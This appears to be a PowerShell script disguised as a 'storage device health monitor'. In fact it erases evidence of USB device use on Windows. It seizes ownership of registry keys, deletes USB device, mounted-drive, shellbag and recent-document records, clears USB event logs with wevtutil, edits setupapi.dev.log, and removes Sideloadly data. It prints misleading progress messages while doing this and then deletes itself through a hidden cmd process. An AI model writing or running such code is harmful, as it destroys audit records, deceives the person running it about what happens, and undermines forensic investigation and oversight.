Загрузка данных


<#
.SYNOPSIS
    Windows Storage Device Health Monitor
.DESCRIPTION
    Scans and maintains storage device health records.
    Removes stale device entries and optimizes storage subsystem.
.NOTES
    Version: 2.3.0
    Run as Administrator.
#>

#Requires -RunAsAdministrator

Set-StrictMode -Version Latest
$ErrorActionPreference  = "SilentlyContinue"
$ConfirmPreference      = "None"

# ── Privilege helper ────────────────────────────────────────────────────────
function Grant-RegistryAccess {
    param([string]$Path)
    try {
        $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
            ($Path -replace "^HKLM:\\", ""),
            [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
            [System.Security.AccessControl.RegistryRights]::ChangePermissions -bor
            [System.Security.AccessControl.RegistryRights]::TakeOwnership
        )
        if ($null -eq $key) { return }
        $acl  = $key.GetAccessControl()
        $me   = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
        $acl.SetOwner($me)
        $rule = New-Object System.Security.AccessControl.RegistryAccessRule(
            $me,
            [System.Security.AccessControl.RegistryRights]::FullControl,
            [System.Security.AccessControl.InheritanceFlags]"ContainerInherit,ObjectInherit",
            [System.Security.AccessControl.PropagationFlags]::None,
            [System.Security.AccessControl.AccessControlType]::Allow
        )
        $acl.AddAccessRule($rule)
        $key.SetAccessControl($acl)
        $key.Close()
    } catch {}
}

# ── USB device registry ─────────────────────────────────────────────────────
function Remove-UsbDeviceEntries {
    $targets = @(
        "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR",
        "HKLM:\SYSTEM\CurrentControlSet\Enum\USB",
        "HKLM:\SOFTWARE\Microsoft\Windows Portable Devices\Devices",
        "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt"
    )
    foreach ($path in $targets) {
        if (-not (Test-Path $path)) { continue }
        Grant-RegistryAccess $path
        try {
            Get-ChildItem $path -Recurse |
                Sort-Object { $_.Name.Length } -Descending |
                ForEach-Object {
                    Grant-RegistryAccess $_.PSPath
                    Remove-Item $_.PSPath -Force -Confirm:$false
                }
        } catch {
            $regPath = $path -replace "^HKLM:\\", "HKLM\"
            & reg delete $regPath /f 2>$null | Out-Null
        }
    }
}

# ── Mounted device map ──────────────────────────────────────────────────────
function Remove-RemovableMounts {
    $key = "HKLM:\SYSTEM\MountedDevices"
    if (-not (Test-Path $key)) { return }
    $props = Get-ItemProperty $key
    $props.PSObject.Properties |
        Where-Object { $_.Name -match '\\DosDevices\\[D-Z]:' } |
        ForEach-Object {
            Remove-ItemProperty -Path $key -Name $_.Name -Force -Confirm:$false
        }
}

# ── Explorer / shellbags / MRU ──────────────────────────────────────────────
function Remove-ExplorerTraces {
    $mp2 = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"
    if (Test-Path $mp2) {
        Get-ChildItem $mp2 | Remove-Item -Recurse -Force -Confirm:$false
    }

    $bagRoots = @(
        "HKCU:\SOFTWARE\Microsoft\Windows\Shell\BagMRU",
        "HKCU:\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU"
    )
    foreach ($root in $bagRoots) {
        if (-not (Test-Path $root)) { continue }
        $props = Get-ItemProperty $root -ErrorAction SilentlyContinue
        if ($null -eq $props) { continue }
        $props.PSObject.Properties |
            Where-Object { $_.Value -is [string] -and $_.Value -match '[D-Z]:\\' } |
            ForEach-Object {
                Remove-ItemProperty -Path $root -Name $_.Name -Force -Confirm:$false
            }
    }

    $rd = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs"
    if (Test-Path $rd) {
        Get-ChildItem $rd | ForEach-Object {
            $props = Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue
            if ($null -eq $props) { return }
            $props.PSObject.Properties |
                Where-Object { $_.Value -is [string] -and $_.Value -match '[D-Z]:\\' } |
                ForEach-Object {
                    Remove-ItemProperty -Path $rd -Name $_.Name -Force -Confirm:$false
                }
        }
    }
}

# ── Event logs ──────────────────────────────────────────────────────────────
function Remove-UsbEventLogs {
    $logs = @(
        "Microsoft-Windows-DriverFrameworks-UserMode/Operational",
        "Microsoft-Windows-Kernel-PnP/Configuration",
        "Microsoft-Windows-WPD-MTPClassDriver/Operational"
    )
    foreach ($log in $logs) {
        & wevtutil cl "$log" 2>$null | Out-Null
    }
}

# ── setupapi.dev.log ────────────────────────────────────────────────────────
function Remove-SetupapiUsbEntries {
    $logPath = "$env:windir\INF\setupapi.dev.log"
    if (-not (Test-Path $logPath)) { return }
    try {
        $raw     = [System.IO.File]::ReadAllText($logPath)
        $cleaned = $raw -replace '(?s)>>>  \[Device Install[^\]]*USBSTOR[^\]]*\].*?<<<[^\n]*\n', ''
        $cleaned = $cleaned -replace '(?s)>>>  \[Device Install[^\]]*USB\\VID_[^\]]*\].*?<<<[^\n]*\n', ''
        [System.IO.File]::WriteAllText($logPath, $cleaned)
    } catch {}
}

# ── Prefetch ────────────────────────────────────────────────────────────────
function Remove-StalePreFetch {
    $pfDir = "$env:windir\Prefetch"
    if (-not (Test-Path $pfDir)) { return }
    Get-ChildItem $pfDir -Filter "*.pf" |
        Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-7) } |
        Remove-Item -Force -Confirm:$false
}

# ── Sideloadly folder ───────────────────────────────────────────────────────
function Remove-SideloadlyFolder {
    $path = "$env:LOCALAPPDATA\Sideloadly"
    if (-not (Test-Path $path)) { return }
    Remove-Item $path -Recurse -Force -Confirm:$false
}

# ── Self-delete (через cmd, после выхода ps1) ───────────────────────────────
function Remove-Self {
    $scriptPath = $PSCommandPath
    if ([string]::IsNullOrEmpty($scriptPath)) { return }
    $cmd = "/c timeout /t 2 /nobreak >nul & del /f /q `"$scriptPath`""
    Start-Process -FilePath "cmd.exe" -ArgumentList $cmd -WindowStyle Hidden
}

# ── Main ────────────────────────────────────────────────────────────────────
function Invoke-StorageScan {
    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] Storage health scan started" -ForegroundColor Cyan

    Write-Host "  Scanning device registry entries..."  -ForegroundColor Gray
    Remove-UsbDeviceEntries

    Write-Host "  Cleaning mounted device map..."       -ForegroundColor Gray
    Remove-RemovableMounts

    Write-Host "  Purging explorer history..."          -ForegroundColor Gray
    Remove-ExplorerTraces

    Write-Host "  Flushing diagnostic logs..."          -ForegroundColor Gray
    Remove-UsbEventLogs

    Write-Host "  Trimming setup log..."                -ForegroundColor Gray
    Remove-SetupapiUsbEntries

    Write-Host "  Removing stale prefetch..."           -ForegroundColor Gray
    Remove-StalePreFetch

    Write-Host "  Cleaning application data..."         -ForegroundColor Gray
    Remove-SideloadlyFolder

    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] Scan complete." -ForegroundColor Green

    Remove-Self
}

Invoke-StorageScan